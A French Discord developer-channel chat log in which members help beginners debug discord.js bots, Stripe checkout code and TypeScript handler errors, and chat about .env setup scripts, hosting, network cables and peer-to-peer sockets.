Ah d'accord, et le salon où tu es sensé avoir la réponse, c'est le channel où tu as lancé la commande
Non
Car tu n'a spécifié aucuns channels de réponses dans ton code, t'as juste mis un Reply, donc logiquement il va directement répondre dans le salon de l'interraction
Bah quand tu as un problème avec un code, ce serait bien de le partagé si tu veux que des gens t'aide, t'as cru qu'on allez pouvoir le deviner ton code ? 🤣
Et idem, s'il y a des erreurs dans le terminal
Mais sinon simple question, t'as regardé un tuto ou tu as copié collé un code sur Github ?
Car je trouve ça bizarre le contraste entre le code produit et l'incapacité à résoudre un problème 😄
Dans ce cas, faut que tu apprenne aussi à débug un programme, c'est bien d'apprendre à développer, mais il faut apprendre les bases 😉
J'ai aucune erreur qui apparais dans ma console ^^
Pourtant le code me parraît bon ...
Oui ^^ j'ai aucune erreur
et le message ne s'envoie pas dans le channel que j'ai mis ^^
donc y'a un souçis quelque part, mais je ne sais pas d'ou cela viens ^^
Tu devrais vérifier si le bot récupère bien le channel : ```js
const channel = bot.channels.cache.get("1118274121772584980");
if (channel && channel.isText()) {
//Ton code à exécuter
}
Je mais ceci tout en haut du coup?
Nan là ou tu es sensé envoyer l'embed dans le channel
Ou sa ? J’y connais trop rien ^^
const channel = bot.channels.cache.get("1118274121772584980");
if (channel && channel.isText()) {
bot.channels.cache.get("1118274121772584980").send({ embeds: [EmbedMessage] }).then(function (message) {
message.react("✅");
message.react("âŒ");
message.startThread({name: Test, autoArchiveDuration: 10080, reason: "Raison"});
});
}
}
comme ceci?
à la place du bot.channels.cache.get("1118274121772584980")dans le if, utilise la variable "Channel" Créé juste au dessus
channel.send etc...
Il y a une erreur ?
nop
Y’a forcément une erreur s’il ce lance pas
Ah attend c'est pas isText() c'est isTextBased()
Après ... Quand je fais un node index.js par exemple, si ça ne se lance pas, comment je le comprend, c'est que le script est interrompu et Node te donne forcément une raison non ? 😅
J'ai mal lu ton message sorry xD
Après le soucis là, c'est que tu ne connais pas les bases de NodeJS et de Javascript du coup ça va être très compliqué pour toi de débug les soucis x)
Et très compliqué pour nous de te comprendre / t'aider
Par exemple, c'est comme si tu apprenais à courrir sans avoir appris à marcher
je lui ai dit la même chose hier dans #autres-sujets-dev-tech
Bien vu, j'y traine pas trop je n'avais pas vu 🤣
Mdr t'inquiète
Mais ouais faire un bot discord, c'est pas spécialement compliqué, mais sans avoir les près-requis c'est ... très très très compliqué, on ne s'improvise pas développeur en 2 jours via un tuto youtube malheureusement, ce serait trop beau
ont s'improvise développeur en 3 jours
mdrr
Compliqué d'assimiler tout les concepts de bases en 3 jours 
Même moi après 10 ans je fais encore pleins de conneries 🤣
@noble bolt je pense que on devrait arrêter de t’apporter de l’aide ici, @fleet scaffold ta dis hier que pour faire des bots il faut apprendre tu lui a répondu okay pour au final changer de salon et demander la même chose
J’ai certainement répondu « okay » c’est pas pour cela que j’apprends pas à coter.
En étant débutant dans le domaine, je préfère demander de l’aide pour ne pas faire de « bêtise » si je peux dire.
Après si demander de l’aide est pas très bon pour vous, j’arrête de demander de l’aide. Je ne demande pas qu’on fasse le bot a ma place, je demande juste quelque conseil 
Mais on commence pas les leçons de conduite avec une Ferrari
Justement, le conseil qui t'as était donné, c'est d'apprendre NodeJS et Javascript avant de développer un bot 🙂
Du coup demander de l'aide pour développer celui-ci c'est un peu nous demander de le faire à ta place
On te dit d’apprendre les bases de JS et de nodeJS
Je pense qu'avant de nous demander de l'aide pour ton bot, il va te falloir une bonne petite période de 1 - 2 mois d'apprentissage sérieux des bases de Javascript & NodeJS
Sinon moi en ce moment je fais du NestJS j’ai pas l’impression de faire du Typescript c’est un autre monde et c’est un peu dure mdr
J’ai l’impression de découvrir un autre langage
D'ailleurs concernant mon apprentissage de Typescript, j'y arrive pas trop, j'aime pas le délire du typage même si je reconnais son utilité xD
Ouais mais c’est obligatoire avec certains framework
Par exemple NestJS
Enfin c’est pas obligatoire mais Gl sans
J’ai commencer les leçons de conduite avec une rs6 donc bon
Yep c'est pour ça que je continu à essayer de l'apprendre, car même avec des framework que j'utilise, ils commencent leurs migration TS
Perso avec une porshe
Coccinelle Sportive
Bref, je vous recommande les tuto de cette homme, génial
Jeremy Soler, Mobile and Web App develope. Ask me everyting via email : contact@jeremysoler.com
Comment ça c'est moi ?
"C'était demain", tu a brainfuck mon cerveau là 🤣
Je suis bien aussi
La première fois que j’ai conduis c’est dans 1 mois
moi l'an prochain

je dois d'abord percé sur toktok
Raaah bordel .. 🤣
en vrais, ça à l'air de donner un coup de boost ce réseau pour les créateurs de contenus
Moi j’ai un script qui prend les top clips twitch dans une catégorie qui crée une vidéo et la poste sur YouTube
J'ai une connaissance qui est passé de 20-30 viewers sur twitch à 50-60 en postant des clips sur TokTok
Avec des titres putaclics j'espère 
Ça prend le titre du top clip
Salut, est-ce que quelqu'un sait utiliser l'API de Stripe en js ?
Mais ça donne quoi au final ? Perso je cherche à générer un lien Stripe avec les produits que l'utilisateur a choisit
Tu fais un système de panier du coup
Oui
Tu fais le total puis tu redirige vers stripe
Euuh comment ça ?
T'as déja un système de panier sur ton site ou pas ?
J'en ais codé un mais je l'ais désactivé parce que j'utilise les liens Stripe (mais c'est pas très flexible donc j'essaie d'utiliser l'API)
@true marten Au pire est-ce qu'il y a un moyen dans les paramètres de l'url de choisir les produits à afficher ?
J'ai jamais utilisé Stripe je demande a gpt pour voir
Tu dois créer un identifiant unique pour chaque produit
Oui je pense que je l'ais
t'es pas original
contenu de crotte
Redirection vers la page de paiement de Stripe :
Lorsque l'utilisateur est prêt à effectuer le paiement, redirigez-le vers la page de paiement de Stripe en utilisant l'API de Stripe depuis votre backend.
Incluez l'identifiant ou l'information unique du produit sélectionné lors de la création de la session de paiement avec l'API de Stripe.
Transmettez les informations pertinentes à Stripe, telles que le montant total à payer, la description de la commande, etc., en fonction du produit sélectionné.
Oui mais j'arrive pas à coder ça et je trouve pas de code qui fontionne
// Étape 1 : Configuration de la clé publique de Stripe
const stripePublicKey = 'VOTRE_CLÉ_PUBLIQUE_STRIPE';
// Étape 2 : Gestion du choix du produit (exemple avec un bouton "Payer" pour chaque produit)
const produits = [
{ id: 1, nom: 'Produit 1', prix: 10.99 },
{ id: 2, nom: 'Produit 2', prix: 19.99 },
{ id: 3, nom: 'Produit 3', prix: 5.99 }
];
function payerProduit(idProduit) {
// Étape 3 : Redirection vers la page de paiement de Stripe
const produitSelectionne = produits.find(produit => produit.id === idProduit);
if (produitSelectionne) {
const montantTotal = produitSelectionne.prix * 100; // Stripe utilise des centimes
// Appel à votre backend pour créer une session de paiement avec l'API de Stripe
fetch('/create-stripe-session', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
produit: produitSelectionne,
montantTotal: montantTotal
})
})
.then(response => response.json())
.then(data => {
// Redirection vers la page de paiement de Stripe
stripe.redirectToCheckout({
sessionId: data.sessionId
});
})
.catch(error => {
console.error('Une erreur s\'est produite :', error);
});
}
}
// Exemple d'utilisation avec des boutons "Payer" pour chaque produit
produits.forEach(produit => {
const boutonPayer = document.createElement('button');
boutonPayer.textContent = 'Payer ' + produit.nom + ' (' + produit.prix + ' €)';
boutonPayer.addEventListener('click', () => {
payerProduit(produit.id);
});
document.body.appendChild(boutonPayer);
});
Un exemple
Prend pas le code comme il est change le en fonction de ce que tu veux
Nan mais je comprend 3% de ce code et j'ai jamais vraiment utilisé une API, je vois pas trop comment m'en sortir, et si je cherche un projet github je vais pas pouvoir remplacer les bonnes parties parce que je vais pas comprendre le code
Ok je peux voir ton code actuel ?
Bah pour l'instant j'ai rien, enfin j'ai testé le code de chatGPT et ça fonctionnait pas
async function createStripeCheckout(products) {
try {
const session = await fetch('/votre-endpoint-de-creation-de-session', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ products })
}).then(response => response.json());
// Rediriger l'utilisateur vers la page de paiement Stripe
const { error } = await stripe.redirectToCheckout({
sessionId: session.id
});
if (error) {
// Gérer l'erreur de redirection vers la page de paiement
console.error(error.message);
}
} catch (error) {
// Gérer toute autre erreur
console.error(error);
}
}
// Exemple d'utilisation
const products = [
{ id: 'prod_O42XpvPxpa6UOF', quantity: 2 },
{ id: 'prod_O4JaxyLVgnUfsb', quantity: 1 }
];
createStripeCheckout(products);``` ça c'est la code que tu m'as donné, j'ai remplacé les ID de produit et la clé API mais après je comprends pas
aide discordjs - command suggestion
@novel crow prend ce code modifie :
Clé publique
Les id et les prix
Personalise le bouton
Quand on clique sur le bouton c'est censé faire quoi ?
@true marten j'ai remplacé mais je fais quoi du bouton ? Je dois le coder à la main ou pas ? parce que il y a un "document.createElement('button');"
Pour la suite je sais pas
Bonjour à tous !
J'ai quelques questions :
-
Est-ce qu'il y a des sites qui proposent des minis projets à réaliser en JavaScript pour pratiquer ce qu'on a appris ?
-
Est-ce qu'il y a des astuces simples pour transposer un problème ou un projet en code JavaScript.
Lorsque l'on débute, on a souvent tendance à prendre de longs chemins pour faire quelque chose qui pouvait être résolu en quelques lignes..
Je ne sais pas si j'ai été assez clair ?
Merci !
Bonjour à tous j'ai un problème avec mon code ts !
Voici mon code:
import { Client, REST, Routes } from 'discord.js';
import { readdirSync } from 'fs';
import { join } from 'path';
import { SlashCommand } from '../types';
module.exports = async (client: Client) => {
const body = []
let SlashCommandsDir = join(__dirname, "../slashCommands");
readdirSync(SlashCommandsDir).forEach(file => {
if(!file.endsWith(`js`)) return;
const command: SlashCommand = require(`${SlashCommandsDir}/${file}`).command;
body.push(command.data.toJSON())
client.slashCommands.set(command.name, command);
});
const rest = new REST({ version: '10' }).setToken(process.env.TOKEN);
try {
await rest.put(Routes.applicationCommands(process.env.CLIENT_ID), { body: body});
} catch (error) {
console.error(error);
}
}
Et voila mon erreur :
PS C:\Users\canai\Desktop\Bot_VaucluseRP2> npm run start
> bot_vaucluserp2@1.0.0 start
> node dist/index.js
{
name: 'ping',
data: SlashCommandBuilder {
options: [],
name: 'ping',
name_localizations: undefined,
description: 'Affiche le ping du bot',
description_localizations: undefined,
default_permission: undefined,
default_member_permissions: undefined,
dm_permission: undefined,
nsfw: undefined
},
execute: [Function: execute]
}
undefined
Evenement interactionCreate correctement chargé
Evenement ready correctement chargé
C:\Users\canai\Desktop\Bot_VaucluseRP2\dist\handlers\commandHandlers.js:23
body.push(command.data.toJSON());
^
TypeError: Cannot read properties of undefined (reading 'data')
at C:\Users\canai\Desktop\Bot_VaucluseRP2\dist\handlers\commandHandlers.js:23:27
at Array.forEach (<anonymous>)
at C:\Users\canai\Desktop\Bot_VaucluseRP2\dist\handlers\commandHandlers.js:18:45
at Generator.next (<anonymous>)
at C:\Users\canai\Desktop\Bot_VaucluseRP2\dist\handlers\commandHandlers.js:8:71
at new Promise (<anonymous>)
at __awaiter (C:\Users\canai\Desktop\Bot_VaucluseRP2\dist\handlers\commandHandlers.js:4:12)
at module.exports (C:\Users\canai\Desktop\Bot_VaucluseRP2\dist\handlers\commandHandlers.js:15:30)
at C:\Users\canai\Desktop\Bot_VaucluseRP2\dist\index.js:42:39
at Array.forEach (<anonymous>)
Node.js v20.3.0```
voila ! j'espere trouver de l'aide , merci a tous !!
mes le en codeblock stp
comment ??
c'est bon
n'hésite pas a rajouter le mot ts pour mettre les couleurs
Dcp tu aurait une idée ??
Voilà voilà encore quelqu'un qui utilise un handler et qui a une erreur
??
l'erreur indique que "command.data" n'existe pas
Aussi en utilisant Typescript, tu casse actuellement ton typage là
bah le truc c'est que jai deja executer mon programme et en voulant le redémarrer ca me met ça
Aussi, ont utilise pas require en Typescript, mais import
Ok mais dcp tu saurait d'ou viens le problème ?
tu as déja fais du ts ?
Non c'est la première fois
Car très mauvaise idée de faire du ts si t'es bases en js sont pas très solides
je pense qu'il a de bonnes base en JS, juste il migre sur du typescript, et ont obtient donc un @rocky oar junior
j'espère
xD
Mais dcp jsp comment régler ça puisque le programme marchait très bien avant le redémarrage
typescript c'est du typage, et les imports dynamique des handler défonce le typage
bah recheck tes fichier et vérifie que si t'as oublié ou non un .data
Malheureusement, ont pourra regarder pour toi cette partie
pas***
AH NON MY BAD
j'ai mal lu l'erreur
LA COMMANDE EST UNDEFINED
pas data
"Je ne peux pas lire data de rien du tout"
mais pourtant j'ai bien la bibliothèque d'installée pour cette commande
Tu as cassé la raison principale d'existence de ce langage
Mais la commande n'existe pas
Bah j'ai suivi un tuto
dcp force a moi
Un Onivoid Junior qui ne réfléchis pas beaucoup dit donc 👀 
LE FICHIER que tu require n'as pas de .command
AH
Bah le gars du tuto à des erreurs à cause de ça et quand il met le .command ca fonctionne
Si le mec fait ca dans son tuto change de tuto
le gars du tuto, je vais te le dire sèchement
C'est une sombre crotte défectueuse
(J'ai du trouver une version poli pour mon insulte c'est grave)
Et surtout est-ce que t'es sure d'avoir le même environnement de travail que lui (Même version etc ....)
what is hes name
Eh allez après le Onivoid junior, sa troll les autres 🤣 🤣 🤣
ou garder500 ? 👀
Bref je vais sérieusement devoir faire un tuto Youtube moi
Ou cardia ? 👀
en parlant de ça, y a eu une giga maj sur l'api de CHATGPT 🙂
Tellement de balles perdues ... xD
ont peut setup des fonctions maintenant
ChatGPT il m'fait cablé, j'ai le premium pour un besoin autre que du code, et quand j'ai voulu use l'API bah ... c'est pas inclus 🙃
pour faire des recherches google, où bien d'autre chose 😏
je peux demander la météo à Cardia depuis peu perso
Le monde de l'IA est trop flooder d'informations en ce moment du coup je ne sais pas c'est quoi cardia
C'est mon IA perso qui utilise Chatgpt en cœur
c'est ca cardia
c'est lui
Je vous explique comment créer un bot Discord avec discord.js v14 facilement.
Retrouvez le projet sur GitHub : https://github.com/pentiminax/discord-js-bot-v14
Discord Developers : https://discord.com/developers
Cashback :
▶ Achetez en ligne et faites grimper votre cagnotte iGraal : https://bit.ly/pentiminax-igraal
Creators Area :
▶ Discord...
Mon cerveau est trop préoccupé par le ban d'EA que je viens de bouffer c'est pour sa
mais dcp je suis encore bloque 😭
il a un pseudo pas ouf, je peux pas t'en vouloir du coup
il a surtout pris une image en mauvaise qualité et rajouter un texte dessus x)
J'avais effectivement raté un épisode 
tu peux me montrer une commande ? Voir un peu leur structure
c'est a dire ?
6 mois d'ancienneté la vidéo il est peut être la le soucis si discordJS a fait des MAJ depuis
je veux voir le code d'une de tes commandes
elle est un peu enrhumée non ?
0 rapport c'est pas une major
Autant pour moi on ne sait jamais xD
le const met le en haut du export
puis fait
const command: SlashCommand = /* code */
export {
command
}
la ça marchera
Ducoup @odd thunder's#0500 je te recommande cette playlsit comme ca tu apprend le ts et après tu arrivera par toi même a faire la migration de t'es projets JS
https://www.youtube.com/watch?v=uOuulpBs8dQ&pp=ygUPYXBwcmVuZHJlIGxlIHRz
Article ► https://grafikart.fr/tutoriels/typescript-installation-1950
Abonnez-vous ► https://bit.ly/GrafikartSubscribe
Dans ce chapitre nous allons voir comment installer TypeScript et l'utiliser pour compiler nos premier fichiers TypeScript. Nous allons aussi voir l'utilisation du fichier [tsconfig.json](https://www.typescriptlang.org/tsconfig...
Mauvais quentin ^^
étonnant tiens
Bonsoir, savez vous comment je peut faire pour detecter si un membre est connécté dans un channel vocal ? actuellement j'ai réussi a faire quelque chose, mais si le bot n''est pas redemarrer il ne detecte pas le changement, si je suis dans un channel vocal au moment ou je restart le bot sa écrit toujours oui même si je quitte, et inverssement
merci beaucoup 😁
Moyen d'avoir le code que tu possède ?
j'ai essayer ceci
module.exports = {
data: new SlashCommandBuilder()
.setName("join")
.setDescription("connecte le bot au channel"),
async execute(interaction, bot) {
if (interaction.member.voice.channel) {
console.log('oui')
}else {
console.log('non')
}
},
je pense qu'il faut utiliser l'event voicestateupdate non ?
Hola
Quelqu'un saurais me dire le probleme ?
const res = await guild.channels.cache.get(transcripts).send({ embeds: [transcriptEmbed], files: [transcript] });
TypeError: Cannot read properties of undefined (reading 'send')
at Object.execute (G:\DEV\Admiration\AdmirationBot\events\tickets\ticketActions.js:55:76)
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
Il n'arrive pas à lire le send car il y a un problème avec le get
Est-ce quelqu'un a déjà utilisé l'API de Stripe svp ?
Quelqu'un pourrait me dire quel est le Schéma d'exécution de la fonctionnalité de Ticketing des bots discord ?
Je compte en faire un pour un besoin personnel, mais je n'ai jamais eu à en faire, du coup je vous demande ça juste pour connaitre le schéma de cette fonctionnalité (Pas de code).
Par exemple : Appuis du bouton créer un ticket => Le bot GET le USER à l'origine de la demande => Création du salon Textuel.
ça pour moi c'est le début du shéma mais après je n'ai jamais su ce que faisais un bot de ticket lambda :x
@fleet scaffold il me semble que tu avais déjà fais ce genre de bot à moins que je me trompe ?
jamais fait, mais je pourrais le faire facilement
En soit, ça ne doit pas être compliqué, mais sans connaitre le scénario je ne sais pas par où commencer et comment organiser les fonctions
Bon, de base je ne voulais pas qu'il m'envoit de Code, mais le scénario qu'il m'a décrit te semble correcte* ?
https://chat.openai.com/share/8604b7bb-12c4-4f1b-a13e-f4ca7e5229d9
yup c'est correct
Comment ça le scénario ? C’est pas bien compliqué quand on appuie sur le bouton le bot crée un Channel en ajoutant l’user et les permissions voilà c’est tout
Je pensais qu'il faisait des choses supplémentaires xD
En faite je ne me suis jamais intéressé à cette fonctionnalité, du coup je ne savais pas comment elle fonctionnait concrêtement
Enfin j'avais un doute mais je n'étais pas sûre
Bah il a rien d’autre à faire
Dans le salon tu push t’es boutons de fermeture et tout
D'accord, donc ouais vraiment rien de compliqué
Je cherche toujours compliqué 
C’est tout le temps vu comme une épreuve l’es système de ticket
Alors que c’est juste un salon qui a certaines permissions
Moi pour le coup, je ne m'y intéressais clairement pas du coup je m'imaginais un truc + complexe que ça xD
ça dépend de ce que tu manages enfaite
déjà typiquement si tu veux gérer du multicatégorie dynamiquement
c'est plus le meme taff
Bah c’est sûr que ça dépend de ce que tu veux faire mais le système de base est pas compliqué
si tu gères aussi le ratelimit proprement sur le nombre de channel que tu peux créer, et que donc tu supprimes pas les channels forcément, mais tu les met de côté et tu les réutilises, pareille pas le meme taff
ouais la base de la base c'est assez rapide
du coup bon oui ca peut vite faire peur un systeme de ticketing
En faite, suivant le sujet sélectionné avant de créer le ticket, le ticket tombera dans une catégorie précise oui, puis j'aurais 2 boutons accessible via les admins seulement, un "Archive" qui enlèvera juste l'utilisateur de la boucle, et un delete qui supprimera le channel
T’façon sur un bot public un bon système de ticketing je pense que t’es obliger d’avoir une interface web c’est chiant a setup avec des commandes ou alors faut très bien le faire
yes
C’est multiguild ou juste une guild ?
Juste une, bot privé
Bah c’est assez simple
Tu setup t’es catégories directement dans ton code et puis c’est tout
Enfin, "Privé", si quelqu'un veut Fork le repo il le pourra, mais c'est pour une utilisation mono-guild
Je vais fonctionner avec une commande setup() qui avec des prompt te demandera les catégories et les options, pour update le .env
Une commande setup qui update un .env ?
My bad je me mélange les pinceaux ça c'est l'init, le setup c'est pour le .json des paramêtres du bot
Le but d’un .env c’est pas trop d’être modifié comme ça, tu fais un simple fichier de config ou une bdd pas un env
Le token et les clefs API sont dans le .env, généralement à l'init du bot avant de le lancer, je fais une commande npm InitBot pour initialiser le projet et lancer le bot
Puis je fais généralement une commande discord setup pour modifier les paramêtre dans un config.json
La commande d'initialisation prend le .env.template pour créer le .env, après j'y touche plus au .env xD
Hey j'aurais besoin d'aide à mon tour (lol oui)
J'aimerais lier le terminal de mon VPS ou autre à un process nodejs
le programme nodejs enverra donc des commandes, enverra la console à une interface web via un socket
J'ai actuellement aucune piste !
Merci de votre aide
PS: J'ai déja fait des recherche sur google, et je ne vois que child_process, mais je ne vois pas comment l'implémenter pour répondre à ce besoin
a partir du moment ou tu fais du mono guild
et que le projet est sur github je vois pas l'intérêt de te faire chier avec des commandes de setup
laisse juste les gens setup un fichier de config, ce sera + simple pour toi, et meme pour eux mdr
True
Perso je fais juste un config.ts avec des interfaces pour typé tout ça correctement mais rien de plus
Ouais mais je préfère lancer une commande qui lance un script avec des prompts, t'as juste à rentrer les valeurs, au lieu d'ouvrir VS Code etc .... #Flemmard
oui fin tu dois le setup une fois
C’est pire
dans tous les cas les gens vont devoir ouvrir vscode ou au minimum ouvrir le projet
pour le token du bot ^_^
donc bon
Attend je vais envoyé ce dont je parle je crois que je m'explique mal xD
Il a une commande npm init qui lui demande les infos pour le env
C’est plus chiant que d’ouvrir un fichier env
si tu veux te faire chier fais une bonne CLI mdr
comme ca à l'installe ca demande tout et voilà
sans ouvrir le projet
Le projet est vieux mais j'avais fais ça : ```js
const fs = require('fs');
const readline = require("readline");
const colors = require('colors');
let envData = (token, botStatus) => \ BOT_TOKEN = "${token}" BOT_STATUS = "${botStatus}" ;
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout
});
rl.question("\nBot's token : ".green, token => {
rl.question("Bot's status (ex : Beodara): ".green, async botStatus => {
let data = envData(token, botStatus);
await fs.writeFile('./config/.env', data, (err) => {
if (err) throw err;
rl.close();
});
});
});
rl.on("close", function() {
console.log("\nThe bot's config was succefully configured !\n".green);
process.exit(0);
});
L’art de se faire chier pour rien mdr
Exactement comme SimnJS dis, l'art de ce faire chier pour rien XD
Mais quand je host sur mon VPS par exemple, je le fais via SSH en invite de commande, donc, claquer un nano ./config/.env etc ... flemme 😴
Ah bah c’est la vérité perso je préfère 1000 fois ouvrir un .env que suivre des instructions
Chacun ses préférences 😉
Mais j'aime pas éditer des fichiers via invite de commande quand je suis sur mes VPS du coup si je peux me faciliter la tâche via CLI c'est mieux xD
Comme ça si t’a un settings à changer tu dois remettre tous les autres x)
oui mais
car il y a un toujours un mais
tu vas l'installer une fois ton bot
ou 2
c'est pas comme si t'allais en faire des milliers d'install
Uhm ... C'est vrais
Mais bon ... On va dire que j'ai tellement fait de script fénéants, que c'est devenu une habitude
Comme faire une CLI perso du style npm createPage juste pour éviter un clique droit et faire nouveau fichier dans le dossier page d'un env de travail 🙃
Va falloir s’habituer à faire des commandes sur un vps x)
Dès l'instant où je peux transformer 3 actions en une seule, je le fais, même supprimer le cache de FiveM je me suis fais un scrpt Bash 🤣
Pour le coup je connais les commandes linux, c'est juste une question de "Raccourcis" ou de "Flemme" x)
BOUHHH vrai développeur utilise un GUI car il à la flemme de faire des lignes de commandes
Exemple :
Je préfère faire npm run initbot que cp ./config/.env.template ./config/.env puis nano ./config/.env taper mes modifs puis ctrl+x et cat ./config/.env pour vérifier que c'est good xD
Ça c'est le NextLevel de la flemme XD
Et ton initbot tu prend plus de temps à le dev que de faire t’es 3 commandes
Vrai dev utilise Heroku et les variables d’environnement heroku
Ah mais mon script d'init je l'ai déjà fais, je le C/C et adapte à chaque fois que j'en ai besoin xD
nan ça c'est dev pauvre
Heroku c'est plus gratuit 😦
C’est payant
Mais j’ai 10€/mois offert chez heroku en tant qu’étudiant donc j’en profite
Même si j’aime pas
Ah mais il dit pas tout le monsieur 👀
c'est ce que je dit
C'est dev pauvre
heroku c'est le pire environnement possible à mes yeux
Je l'ai utilisé pendant longtemps quand c'était free, j'avais bien aimé en vrais 🤔
API sur Heroku Front sur Vercel / Netlify
C’est plutôt bien fais quand même, c’est juste des conteneurs
Dans pas longtemps je serais plus emmerder à choisir un serveur de Hosting je vais pouvoir souffler 😴
J'ai commencé les VPS quand j'ai commencé à vouloir Host des bots discord personnellement
J'aimerais pouvoir dire ça
Mais je suis pas rassuré pour la maintenance
Mon WIFI qui ce redémarre tout seul là...
Ah mais je ne le suis pas non plus je croise les doigts pour ne pas avoir trop de soucis 🙃
si t'as la fibre t'es déja sauvé
fibre optique, + machine directement cablé en RJ45 Cat 5
CAT 7 je recommanderais
(j'ai fait éléctricité au lycée oui)
Mais avant de souffler et de faire quoi que ce soit, je vais configurer le reverse proxy etc ....
Cat 7 t'en trouve facilement en magasin ?
👀 Moi qui était content de DL à 100Mo/s
6€ 🤯
La qualité ça se paye après mdrr
Et moi qui faisait le Rat quand mon ancienne entreprise se débarrassait de leurs anciens câble
Bah non mais c'est pas cher
justement
Le nombre attribué décrit la quantité de données que le câble peut traiter : le Cat 5 atteint une vitesse maximum de 10/100 Mbit/s avec une bande passante de 100 MHz, le Cat 5e atteint 1 000 Mbit/s, et le Cat 6 atteint 10 gigabits et jusqu'à 250 MHz.
Pour les détails de pourquoi un CAT 7 vaut le coup
surtout si t'es fibré
Je n'arrive pas à trouver la longueur du câble que tu m'a envoyé par contre
1 metre
Carré ^^
Au moins je suis tranquil pour les 3 pc
Mais pourquoi pas acheté 1 15 metre ?
Les 3 pc sont à distances différentes de mon routeur, le mien est à meme pas 1m, mais je prend 2 pour être large, le serveur lui est à 3-4 metres facile, et celui de ma femme est dans l'autre pièce mais un 10m suffit
J'avais déjà fait les calculs au préalable
Ahh okay
Yep je comprend mieux du coup
https://www.amazon.fr/TP-Link-M4-Systèmes-performant-remplacement/dp/B07P495TQ4/ref=sr_1_4?__mk_fr_FR=ÅMÅŽÕÑ&crid=8OT52BJOUV7X&keywords=deco+mesh&qid=1686833514&s=computers&sprefix=deco+mesh%2Ccomputers%2C104&sr=1-4
Si jamais t'as une grande maison je te recommande ça
Déco M4 est le moyen le plus simple de garantir un signal Wifi puissant dans tous les coins de votre maison jusqu'à 370 M2 (pack de 3). les connexions sans fil et le réseau Ethernet optionnel fonctionnent Ensemble pour relier les unités Déco, offrant des vitesses de réseau encore plus rapides et ...
Mais merci, car mes connaissances en électroniques s'arrentent au Raspberry Pi 🤣
40m carré, c'est un appartement en centre ville
Ouais, même mon casque Bluetooth capte quand je vais chercher le courrier au Rez de Chaussée 🤣
après le bluetooth capte sur 15 metre
J'ai très peu de Wifi environnante qui parasitent en +
Moi et mon appli qui devait fonctionné en PeerToPeer via le bluethoot loll
Tiens dans pas longtemps quand j'aurais fini ma formation, je vais me mettre sur un projet P2P justement 
P2P avec Socket.io
j'ai regardé
j'ai vu
Je suis callé sur le p2p
et c'est foireux
Foireux à quel niveau ?
ça fait confiance à une petite faille sympa des anciennes box
qui laissait l'option upnp activé
upnp = découverte de port sur le réseau
ça ouvre les port automatiquement pour toi comme un grand
Du coup, le P2P via websockets c'est foireux aussi ou je peux m'amuser à connecter 2 sockets entre eux via le port 443 ?
tu peux t'amuser
Car si le P2P est foireux, autant lancé un serveur socket entre deux qui fera l'intermédiaire via les ports dédiés au Web
Le seul truc c'est que mon projet de base est juste sensé connecter les sockets entre eux, sans intermédiaire, sans stockage
En gros c'est ça que je comptais utiliser : https://socket.io/fr/blog/socket-io-p2p/
Today were very happy to introduce Socket.IO P2P, the easiest way to establish a bidirectional events channel between two peers with a server fallback to provide maximum reliability.
sans intermédiaire ?
Serverless, juste connexion entre clients
même Torrent utilise un intermédiaire afin de lister les serveurs P2P
Ah oui ?
Bah oui ? Tu fais comment sinon ?
Je pensais que le P2P c'était juste de client à client
Oui
la communication ce fait de client à client
Mais la connexion tu l'entame avec l'intermédiaire pour qu'il trouve un client pour toi
D'accord 🤔
Et admettons que cet intermédiaire soit corrompu pour X raisons, personne ne peut intercepté les communications qu'il y a entre deux Socket ?
Avec un chiffrage de bout en bout je précise
(Client1) Chiffrage => Réception (Serveur) Envois => Déchiffrage (Client2)
Si quelqu'un ce pose entre les deux à la place du serveur, sans la clef de déchiffrage, je veux être sûr qu'il ne sera pas capable d'intercepter les coms' car c'est l'argument premier de mon projet
l'intermédiaire est utilisé que pour chercher des clients
donc aucun risque que la connexion soit intercepté entre 2 sockets
D'accord, il sert juste de liaison donc
J'irais me coucher moins c** ce soir 🤣
Bon du coup en + de mon stack pour l'app, faut que je prévois un petit serveur bidon avec Express et Socket.io
yup
ah...
Nn moins c++ ce soir pour mieux cacher le gros mot
Bonsoir, j'aimerais envoyer un embed qui liste toute les lignes retourner par ma requete sql, pourriez vous m'aider s'il vous plait ? merci😁
C'est surtout pour le bot qui me strike h24 🙃 il ne m'aime pas
WOH je vois dans le FUTUUUR ! #LePcPortableQuiNaPasMisLheureAJour
Tu as déjà un début de code qui récupère les lignes via la requête SQL ?
C'est complicado à mon humble avis
pas de le faire
Mais les limitations pose problèmes
1 > la limite de caractères
2 > La limite de caractères
Truncate
Si, en plusieurs messages
c'est nul en plusieurs messages
Non la vrai solution ici, c'est d'envoyé un FICHIER.txt avec les différentes lignes/colonne
Bah non, t'as le même résultat visuel au final
De cette façon la limite de caractère passe à 25 000 000
Bah non, si il le veut en message c'est sûrement pour le voir d'un coup
Il est pas truncate
Si le visuel est truncate au dessus d'un certain nombre de ligne
Uhm ... Il faudrait qu'il puisse faire un GET précis (findOne), et s'il fait un GET complet, on pourrait imaginer un système de pagination à coup de bouton qui va simplement remplacer l'embed par la page suivante dans le cas où il aurait énormément de ligne à retourner ?
ça c'est la partie simple
Mais comment tu fais pour affiché les lignes que tu va truncate
Je dis ça parce que j'ai déjà vu ça venant d'un bot
faudrais donc prévoir un bouton qui fera office de "curseur"
L'idée de base est pas logique de base, donc on peut y réfléchir encore longtemps avant de le rendre logique 
C'est vrais que ... Pourquoi il veut le contenu de ça DB en embed ? xD
Probablement car il a pas cherché les outils existants 😉
Si ont part du principe qu'on affiche tout dans un embed (ici meilleure solution car la limite est de 4000 caractères)
Il faudrais prévoir de truncate chaque ligne à une certaine limite, pour que ça soit "digeste" à l'écran
Suite à ça, il faudra ajouté 4 boutons (affiché +/affiché avant/ affiché la suite des textes truncates..... revenir en arrière)
Après il n'a pas approfondi sont besoin, mais ça ce trouve il veut juste une fonction qui fait office de LeaderBoard pour montrer le classement des membres xD
j'ai pas les noms des boutons mais globalement c'est simplement des curseurs à prévoir
Ont peut aussi utilisé un menu, ou bien + simplement une modal qui demandera une page
Les Modals ça me fascine par contre comment les bots discord ont évolué 👀
(J'en développe jamais voir très rarement, je me suis arrêté à la v10)
faut trouvé leurs utilité aux modals
Tu peux faire ce que tu veux dans une modal ?
Domage, un mini jeu aurait était drole 
explique ?
